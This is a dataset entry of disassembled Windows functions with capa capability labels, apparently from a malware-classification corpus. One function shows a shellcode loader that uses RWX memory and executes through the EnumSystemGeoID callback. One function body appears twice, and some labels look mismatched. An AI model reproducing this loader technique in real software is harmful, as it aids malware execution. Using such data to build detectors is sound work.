joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e0f60
Capabilities:
Accept command line arguments

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp], 0xfffffffffffffffe
mov rax, rdx
mov rsi, rcx
lea rdx, [rbp - 0x1c]
mov rcx, rax
call sub.SHELL32.dll_CommandLineToArgvW
test rax, rax
je 0x1400e10a0
mov rdi, rax
mov qword [rbp - 0x40], rsi
movsxd r14, dword [rbp - 0x1c]
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 8
mov qword [rbp - 8], 0
test r14, r14
je 0x1400e1083
shl r14, 3
xor r15d, r15d
lea r12, [rbp - 0x58]
lea r13, [rbp - 0x38]
jmp 0x1400e1006
mov rax, qword [rbp - 0x10]
lea rcx, [rdx + rdx*2]
movups xmm0, xmmword [rbp - 0x38]
mov rdx, qword [rbp - 0x28]
mov qword [rax + rcx*8 + 0x10], rdx
movups xmmword [rax + rcx*8], xmm0
inc qword [rbp - 8]
add r15, 8
cmp r14, r15
je 0x1400e1083
mov rbx, qword [rdi + r15]
mov rcx, rbx
call fcn.14012895c
mov rsi, rax
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 1
mov qword [rbp - 0x28], 0
shr rax, 1
mov r8d, esi
and r8d, 1
add r8, rax
je 0x1400e1046
mov rcx, r13
xor edx, edx
call fcn.140133490
lea rax, [rbx + rsi*2]
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rbx
mov word [rbp - 0x48], 0
mov rcx, r12
mov rdx, r13
call fcn.1400edbd0
mov rdx, qword [rbp - 8]
cmp rdx, qword [rbp - 0x18]
jne 0x1400e0fe0
lea rcx, [rbp - 0x18]
call fcn.14005fe00
mov rdx, qword [rbp - 8]
jmp 0x1400e0fe0
mov rcx, rdi
call sub.KERNEL32.dll_LocalFree
mov rax, qword [rbp - 8]
mov rcx, qword [rbp - 0x40]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp - 0x18]
movups xmmword [rcx], xmm0
jmp 0x1400e10b7
mov qword [rsi], 0
mov qword [rsi + 8], 8
mov qword [rsi + 0x10], 0
add rsp, 0x88
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x1400e4ab0
Capabilities:
Reference wmi statements

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp - 0x20], 0
cmp dword [rdx + 0x10], 1
jne 0x1400e4baa
mov qword [rbp - 0x10], rdx
lea rcx, [0x14026e6fa]
call sub.OLEAUT32.dll_SysReAllocString
mov rdi, rax
lea rcx, str.SELECT__FROM_MSAcpi_ThermalZoneTemperature
call sub.OLEAUT32.dll_SysReAllocString
mov rbx, rax
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx]
mov rax, qword [rax + 0xa0]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov r8, rbx
mov r9d, 0x30
call rax
mov r14d, eax
mov rcx, rdi
call sub.OLEAUT32.dll_SysStringLen
mov rcx, rbx
call sub.OLEAUT32.dll_SysStringLen
test r14d, r14d
mov rdx, qword [rbp - 0x10]
js 0x1400e4baa
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x18], rax
cmp qword [rdx + 0x20], 0
je 0x1400e4b6e
mov rax, qword [rbp - 0x10]
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x1400e4b6e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x10]
mov qword [rcx + 0x20], 1
mov rax, qword [rbp - 0x18]
mov qword [rcx + 0x28], rax
mov rax, qword [rcx + 0x30]
mov qword [rsi + 0x30], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov rax, qword [rcx + 0x20]
mov qword [rsi + 0x20], rax
mov rax, qword [rcx + 0x28]
mov qword [rsi + 0x28], rax
jmp 0x1400e4bb9
mov qword [rsi], 2
mov rcx, rdx
call fcn.1400e2f90
nop
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
Function at 0x1400f4b20
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov qword [rbp], 0xfffffffffffffffe
mov rsi, rdx
mov r13, rcx
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
mov rax, qword [rdx + 0x20]
movzx ebx, byte [rdx + 0x28]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x30], rax
mov byte [rbp - 0x28], bl
mov ecx, 0x5f0
mov edx, 8
call fcn.140001f20
test rax, rax
mov qword [rbp - 0x10], rsi
je 0x1400f4d8e
mov r12, rax
mov byte [rbp - 1], bl
mov r8d, 0x5f0
mov rcx, rax
xor edx, edx
call fcn.140124650
mov rax, qword [rsi + 0x58]
mov qword [rbp - 0x18], rax
movabs r9, 0x7465646279746573
movabs r10, 0x6c7967656e657261
movabs r11, 0xded7d4e2d7dedfc6
movabs r15, 0xa60c596fc19fead0
movabs rdi, 0xe414a674f0de7325
movabs rsi, 0x800000000000000
nop dword [rax + rax]
mov eax, 1
lock xadd qword [0x1402a8c98], rax
mov rdx, rax
xor rdx, r9
lea rcx, [rdx + r10]
mov r14, rdx
rol r14, 0x10
xor r14, rcx
lea rbx, [r14 + r11]
rol r14, 0x15
xor r14, rbx
add rdx, r15
mov rcx, rdx
xor rcx, rdi
rol rdx, 0x20
xor rax, rbx
add rax, rcx
rol rcx, 0xd
mov r8, r14
xor rcx, rax
rol rax, 0x20
xor r8, rsi
add rdx, r8
shrd r8, r14, 0x30
xor r8, rdx
add rax, r8
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor r8, rax
xor rcx, rdx
rol rdx, 0x20
xor rax, rsi
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
xor rdx, 0xff
add rdx, r8
rol r8, 0x10
xor r8, rdx
add rax, r8
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor r8, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
rol rax, 0x20
add rdx, r8
rol r8, 0x10
xor r8, rdx
add rax, r8
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor r8, rax
add rax, rcx
rol rcx, 0xd
xor rcx, rax
add rdx, r8
rol r8, 0x10
xor r8, rdx
rol r8, 0x15
add rdx, rcx
rol rcx, 0x11
xor rcx, rdx
rol rdx, 0x20
xor rcx, r8
xor rcx, rdx
je 0x1400f4be0
mov rdx, qword [rbp - 0x10]
mov rax, qword [rdx + 0x60]
movaps xmm0, xmmword [rbp - 0x50]
movaps xmm1, xmmword [rbp - 0x40]
movups xmmword [r13 + 0x110], xmm1
movups xmmword [r13 + 0x100], xmm0
mov rbx, qword [rbp - 0x20]
mov qword [r13 + 0x120], rbx
movzx ebx, byte [rbp - 1]
mov byte [r13 + 0x128], bl
mov qword [r13], 0
mov qword [r13 + 8], r12
mov qword [r13 + 0x80], 0
mov qword [r13 + 0x88], r12
mov rbx, qword [rbp - 0x18]
mov qword [r13 + 0x130], rbx
mov qword [r13 + 0x138], rcx
mov qword [r13 + 0x140], rax
mov rcx, qword [rdx + 0x48]
test rcx, rcx
je 0x1400f4d7a
mov rdx, qword [rdx + 0x40]
test rdx, rdx
je 0x1400f4d7a
mov r8d, 1
call fcn.140001f30
mov rax, r13
add rsp, 0x78
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov ecx, 0x5f0
mov edx, 8
call fcn.14013bd90
ud2
Function at 0x1400f50c0
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, qword [rcx + 0x50]
test rsi, rsi
je 0x1400f50e8
mov rax, rsi
add rsp, 0x60
pop rbx
pop rsi
pop rbp
ret
lea rdx, str.RAYON_NUM_THREADSRAYON_RS_NUM_CPUSThreadPoolBuildErrorkind
lea rcx, [rbp - 0x38]
mov r8d, 0x11
call fcn.140105fb0
movzx eax, byte [rbp - 0x20]
mov rdx, qword [rbp - 0x38]
cmp al, 3
jne 0x1400f5151
mov rax, qword [rbp - 0x30]
test rax, rax
je 0x1400f5169
mov qword [rbp - 0x18], rdx
mov r8, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x10], rax
mov rdx, rax
call fcn.14011f500
movzx ebx, byte [rbp - 0x38]
mov rsi, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
test rdx, rdx
je 0x1400f514b
mov r8d, 1
mov rcx, qword [rbp - 0x10]
call fcn.140001f30
test bl, bl
jne 0x1400f5169
jmp 0x1400f51d0
cmp al, 2
je 0x1400f5169
test rdx, rdx
je 0x1400f5169
mov rcx, qword [rbp - 0x30]
mov r8d, 1
call fcn.140001f30
lea rdx, [0x14026f641]
lea rcx, [rbp - 0x38]
mov r8d, 0x11
call fcn.140105fb0
movzx eax, byte [rbp - 0x20]
mov rdx, qword [rbp - 0x38]
cmp al, 3
jne 0x1400f51db
mov rax, qword [rbp - 0x30]
test rax, rax
je 0x1400f51f3
mov qword [rbp - 0x18], rdx
mov r8, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x10], rax
mov rdx, rax
call fcn.14011f500
movzx ebx, byte [rbp - 0x38]
mov rsi, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
test rdx, rdx
je 0x1400f51cc
mov r8d, 1
mov rcx, qword [rbp - 0x10]
call fcn.140001f30
test bl, bl
jne 0x1400f51f3
test rsi, rsi
jne 0x1400f50dd
jmp 0x1400f51f3
cmp al, 2
je 0x1400f51f3
test rdx, rdx
je 0x1400f51f3
mov rcx, qword [rbp - 0x30]
mov r8d, 1
call fcn.140001f30
nop
add rsp, 0x60
pop rbx
pop rsi
pop rbp
jmp 0x1400fb070
sub rsp, 0x58
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x1400fb070
Capabilities:
Get system information on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, qword [rcx + 0x50]
test rsi, rsi
je 0x1400f50e8
mov rax, rsi
add rsp, 0x60
pop rbx
pop rsi
pop rbp
ret
lea rdx, str.RAYON_NUM_THREADSRAYON_RS_NUM_CPUSThreadPoolBuildErrorkind
lea rcx, [rbp - 0x38]
mov r8d, 0x11
call fcn.140105fb0
movzx eax, byte [rbp - 0x20]
mov rdx, qword [rbp - 0x38]
cmp al, 3
jne 0x1400f5151
mov rax, qword [rbp - 0x30]
test rax, rax
je 0x1400f5169
mov qword [rbp - 0x18], rdx
mov r8, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x10], rax
mov rdx, rax
call fcn.14011f500
movzx ebx, byte [rbp - 0x38]
mov rsi, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
test rdx, rdx
je 0x1400f514b
mov r8d, 1
mov rcx, qword [rbp - 0x10]
call fcn.140001f30
test bl, bl
jne 0x1400f5169
jmp 0x1400f51d0
cmp al, 2
je 0x1400f5169
test rdx, rdx
je 0x1400f5169
mov rcx, qword [rbp - 0x30]
mov r8d, 1
call fcn.140001f30
lea rdx, [0x14026f641]
lea rcx, [rbp - 0x38]
mov r8d, 0x11
call fcn.140105fb0
movzx eax, byte [rbp - 0x20]
mov rdx, qword [rbp - 0x38]
cmp al, 3
jne 0x1400f51db
mov rax, qword [rbp - 0x30]
test rax, rax
je 0x1400f51f3
mov qword [rbp - 0x18], rdx
mov r8, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x10], rax
mov rdx, rax
call fcn.14011f500
movzx ebx, byte [rbp - 0x38]
mov rsi, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
test rdx, rdx
je 0x1400f51cc
mov r8d, 1
mov rcx, qword [rbp - 0x10]
call fcn.140001f30
test bl, bl
jne 0x1400f51f3
test rsi, rsi
jne 0x1400f50dd
jmp 0x1400f51f3
cmp al, 2
je 0x1400f51f3
test rdx, rdx
je 0x1400f51f3
mov rcx, qword [rbp - 0x30]
mov r8d, 1
call fcn.140001f30
nop
add rsp, 0x60
pop rbx
pop rsi
pop rbp
jmp 0x1400fb070
sub rsp, 0x58
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
mov eax, dword [rsp + 0x40]
add rsp, 0x58
ret

Function at 0x1400fdbe0
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
aeskeygenassist xmm0, xmmword [rdx], 2
movdqa xmmword [rcx], xmm0
ret
Function at 0x1400fe320
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
sub rsp, 0x58
movaps xmmword [rsp + 0x40], xmm10
movaps xmmword [rsp + 0x30], xmm9
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm7
movaps xmmword [rsp], xmm6
movdqa xmm0, xmmword [rcx]
movdqa xmm1, xmmword [rcx + 0x10]
movdqa xmm9, xmmword [rcx + 0x20]
movdqa xmm8, xmmword [rcx + 0x30]
movdqa xmm10, xmmword [rdx]
pxor xmm10, xmm0
movdqa xmm3, xmmword [rdx + 0x10]
pxor xmm3, xmm0
movdqa xmm4, xmmword [rdx + 0x20]
pxor xmm4, xmm0
movdqa xmm5, xmmword [rdx + 0x30]
pxor xmm5, xmm0
movdqa xmm2, xmmword [rdx + 0x40]
pxor xmm2, xmm0
movdqa xmm6, xmmword [rdx + 0x50]
pxor xmm6, xmm0
movdqa xmm7, xmmword [rdx + 0x60]
pxor xmm7, xmm0
pxor xmm0, xmmword [rdx + 0x70]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
aesenc xmm10, xmm9
aesenc xmm3, xmm9
aesenc xmm4, xmm9
aesenc xmm5, xmm9
aesenc xmm2, xmm9
aesenc xmm6, xmm9
aesenc xmm7, xmm9
aesenc xmm0, xmm9
aesenc xmm10, xmm8
aesenc xmm3, xmm8
aesenc xmm4, xmm8
aesenc xmm5, xmm8
aesenc xmm2, xmm8
aesenc xmm6, xmm8
aesenc xmm7, xmm8
aesenc xmm0, xmm8
movdqa xmm1, xmmword [rcx + 0x40]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x50]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x60]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x70]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x80]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0x90]
aesenc xmm10, xmm1
aesenc xmm3, xmm1
aesenc xmm4, xmm1
aesenc xmm5, xmm1
aesenc xmm2, xmm1
aesenc xmm6, xmm1
aesenc xmm7, xmm1
aesenc xmm0, xmm1
movdqa xmm1, xmmword [rcx + 0xa0]
aesenclast xmm10, xmm1
aesenclast xmm3, xmm1
movdqa xmmword [rdx], xmm10
movdqa xmmword [rdx + 0x10], xmm3
aesenclast xmm4, xmm1
movdqa xmmword [rdx + 0x20], xmm4
aesenclast xmm5, xmm1
movdqa xmmword [rdx + 0x30], xmm5
aesenclast xmm2, xmm1
aesenclast xmm6, xmm1
movdqa xmmword [rdx + 0x40], xmm2
movdqa xmmword [rdx + 0x50], xmm6
aesenclast xmm7, xmm1
movdqa xmmword [rdx + 0x60], xmm7
aesenclast xmm0, xmm1
movdqa xmmword [rdx + 0x70], xmm0
movaps xmm6, xmmword [rsp]
movaps xmm7, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm9, xmmword [rsp + 0x30]
movaps xmm10, xmmword [rsp + 0x40]
add rsp, 0x58
ret
Function at 0x140100270
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rbp
push rsi
push rdi
sub rsp, 0x60
lea rbp, [rsp + 0x60]
mov qword [rbp - 8], 0xfffffffffffffffe
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], rcx
mov rdi, qword [rcx + 0x10]
mov qword [rbp - 0x28], rdi
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp - 0x10]
lea r9, [rbp - 0x28]
mov rcx, 0xffffffffffffffff
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov rsi, qword [rax + 8]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rsi
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov dword [rbp - 0x1c], 4
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x10]
lea r8, [rbp - 0x28]
mov rcx, 0xffffffffffffffff
mov r9d, 0x40
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov r8, qword [rbp - 0x10]
mov ecx, 0x10
xor edx, edx
call sub.KERNEL32.dll_EnumSystemGeoID
mov rax, qword [rbp - 0x18]
mov rdx, qword [rax]
test rdx, rdx
je 0x14010033d
mov r8d, 1
mov rcx, rsi
call fcn.140001f30
nop
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret

Function at 0x1401057e0
Capabilities:
Generate random numbers via winapi

Disassembly:
sub rsp, 0x38
test rcx, rcx
je 0x140105801
mov r8, qword [rcx]
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov qword [rcx], 0
cmp r8, 1
je 0x140105837
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x20]
xor ecx, ecx
mov r8d, 0x10
mov r9d, 2
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140105832
mov rax, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
jmp 0x140105837
call fcn.14010f840
mov r8d, dword [0x1402a8e40]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + r8*8]
mov qword [rcx + 0x68], 1
mov qword [rcx + 0x70], rax
mov qword [rcx + 0x78], rdx
add rsp, 0x38
ret
Function at 0x140105d40
Capabilities:
Get common file path

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x3f0], 0xfffffffffffffffe
mov qword [rbp + 0x3e0], rcx
mov qword [rbp + 0x3c8], 0
mov qword [rbp + 0x3d0], 2
mov qword [rbp + 0x3d8], 0
mov r8d, 0x200
mov eax, 2
mov qword [rbp + 0x3e8], rax
xor r12d, r12d
xor r13d, r13d
xor edi, edi
cmp r8, 0x201
jae 0x140105de0
jmp 0x140105dcf
jae 0x140105e9e
cmp r8, 0x201
jae 0x140105de0
lea rbx, [rbp - 0x58]
mov r14d, 0x200
mov rsi, r8
jmp 0x140105e37
sub r8, rdi
sub r13, rdi
cmp r13, r8
jae 0x140105e0f
lea rcx, [rbp + 0x3c8]
mov rdx, rdi
call fcn.14013afb0
mov r12, qword [rbp + 0x3c8]
mov rax, qword [rbp + 0x3d0]
mov qword [rbp + 0x3e8], rax
mov eax, 0xffffffff
cmp r12, rax
mov edi, 0xffffffff
cmovb rdi, r12
mov qword [rbp + 0x3d8], rdi
mov r13, r12
mov rbx, qword [rbp + 0x3e8]
mov r14, rdi
mov rsi, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, esi
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov r15d, eax
test eax, eax
jne 0x140105e5f
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140105f06
mov r8d, r15d
cmp rsi, r8
jne 0x140105dc0
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x140105f29
add rsi, rsi
mov eax, 0xffffffff
cmp rsi, rax
cmovae rsi, rax
mov r8, rsi
cmp r8, 0x201
jb 0x140105dcf
jmp 0x140105de0
cmp r14, r8
jb 0x140105f43
lea rcx, [rbp + 0x3a8]
mov rdx, rbx
call fcn.1401087a0
movups xmm0, xmmword [rbp + 0x3a8]
movups xmm1, xmmword [rbp + 0x3b8]
mov rsi, qword [rbp + 0x3e0]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
test r12, r12
je 0x140105eef
add r12, r12
mov r8d, 2
mov rcx, qword [rbp + 0x3e8]
mov rdx, r12
call fcn.140001f30
mov rax, rsi
add rsp, 0x478
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov rsi, qword [rbp + 0x3e0]
mov qword [rsi], rax
mov byte [rsi + 0x18], 2
test r12, r12
jne 0x140105ed7
jmp 0x140105eef
lea rcx, [0x140271063]
lea r8, str.library_std_src_syswindowsmod.rs
mov edx, 0x28
call fcn.14013bf50
jmp 0x140105f58
lea rax, str.u1_
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.14013c3b0
ud2
Function at 0x140109090
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rdi, rdx
movzx ebx, byte [rdx + 0x38]
xor r15d, r15d
cmp bl, 1
setne dl
mov eax, 0
sbb eax, eax
mov r14, rcx
or al, dl
movzx ecx, al
cmp cl, 0xff
je 0x1401090c3
test ecx, ecx
jne 0x140109112
movzx r15d, byte [rdi + 0x3a]
cmp al, 0xff
je 0x1401090d0
test ecx, ecx
jne 0x140109112
mov rcx, rdi
call fcn.140108f70
movzx r10d, al
test bl, bl
jne 0x140109119
lea rax, [rdi + 0x10]
xor esi, esi
cmp byte [rdi + 0x10], 6
cmove rax, rsi
je case.0x140109106.2
movzx ecx, byte [rax]
mov esi, 6
lea rdx, [0x14010928c]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rsi, qword [rax + 0x10]
add rsi, 4
jmp case.0x140109106.2
xor r10d, r10d
test bl, bl
je 0x1401090e0
xor esi, esi
movzx eax, r15b
lea rcx, [r10 + rax]
add rcx, rsi
mov rdx, qword [rdi + 8]
cmp rdx, rcx
jb 0x14010926e
mov r11, qword [rdi]
lea r9, [r11 + rcx]
cmp rdx, rcx
jne 0x14010914b
movzx r8d, byte [rdi + 0x10]
xor edi, edi
jmp 0x1401091c8
movzx r8d, byte [rdi + 0x10]
add rsi, r10
add rsi, rax
sub rsi, rdx
inc rsi
lea rax, [rdx + r11]
dec rax
xor edi, edi
cmp r8b, 3
jae 0x140109190
nop dword [rax + rax]
cmp byte [rax], 0x5c
je 0x1401091ab
inc rsi
dec rax
cmp rsi, 1
jne 0x140109170
jmp 0x1401091c8
movzx ebx, byte [rax]
cmp ebx, 0x2f
je 0x1401091ab
cmp ebx, 0x5c
je 0x1401091ab
inc rsi
dec rax
cmp rsi, 1
jne 0x140109190
jmp 0x1401091c8
neg rsi
add rcx, rsi
inc rcx
cmp rdx, rcx
jb 0x14010927c
add r11, rcx
mov edi, 1
mov r9, r11
sub rdx, rcx
je 0x1401091f2
mov al, 9
cmp rdx, 2
je 0x1401091f6
cmp rdx, 1
jne 0x140109206
cmp byte [r9], 0x2e
jne 0x140109206
xor eax, eax
cmp r8b, 3
setae al
lea eax, [rax + rax*2]
add eax, 7
jmp 0x140109206
mov al, 0xa
jmp 0x140109206
cmp byte [r9], 0x2e
jne 0x140109206
cmp byte [r9 + 1], 0x2e
sete al
xor al, 9
add rdi, rdx
mov qword [r14], rdi
mov qword [r14 + 8], r9
mov qword [r14 + 0x10], rdx
mov byte [r14 + 0x18], al
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x20]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
lea rsi, [rcx + rdx]
add rsi, 8
jmp case.0x140109106.2
mov rcx, qword [rax + 0x10]
mov rax, qword [rax + 0x20]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
lea rsi, [rcx + rdx]
add rsi, 2
jmp case.0x140109106.2
mov esi, 2
jmp case.0x140109106.2
lea r8, str.library_std_srcpath.rs
call fcn.14013c3a0
ud2
lea r8, str.library_std_srcpath.rs
call fcn.14013c3a0
ud2
Function at 0x14010f840
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
test al, al
je 0x14010f883
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [0x140106ba0]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.14013beb0
ud2

Function at 0x14010ff20
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov r14, rcx
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], r8
mov ecx, 0x10
mov edx, 8
call fcn.140001f20
test rax, rax
je 0x14010fffa
mov rsi, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x140110080]
xor edi, edi
xor ecx, ecx
mov rdx, r14
mov r9, rax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x14010ffec
mov rcx, qword [rsi]
mov qword [rbp - 0x10], rsi
mov rax, qword [rsi + 8]
call qword [rax]
mov rsi, qword [rbp - 0x10]
mov rax, qword [rsi + 8]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14010ffc4
mov r8, qword [rax + 0x10]
mov rcx, qword [rsi]
call fcn.140001f30
mov edx, 0x10
mov r8d, 8
mov rcx, rsi
call fcn.140001f30
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov ecx, 0x10
mov edx, 8
call fcn.14013bd90
ud2
Function at 0x14011f0f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
test r8, r8
je 0x14011f16a
mov r11, rdx
mov rdx, qword [rsp + 0x70]
mov ebp, ecx
shr ebp, 8
lea r8, [r11 + r8*2]
xor eax, eax
mov rbx, r11
movzx edi, byte [r11 + 1]
add r11, 2
lea r10, [rax + rdi]
cmp byte [rbx], bpl
jne 0x14011f160
cmp r10, rax
jb 0x14011f1fd
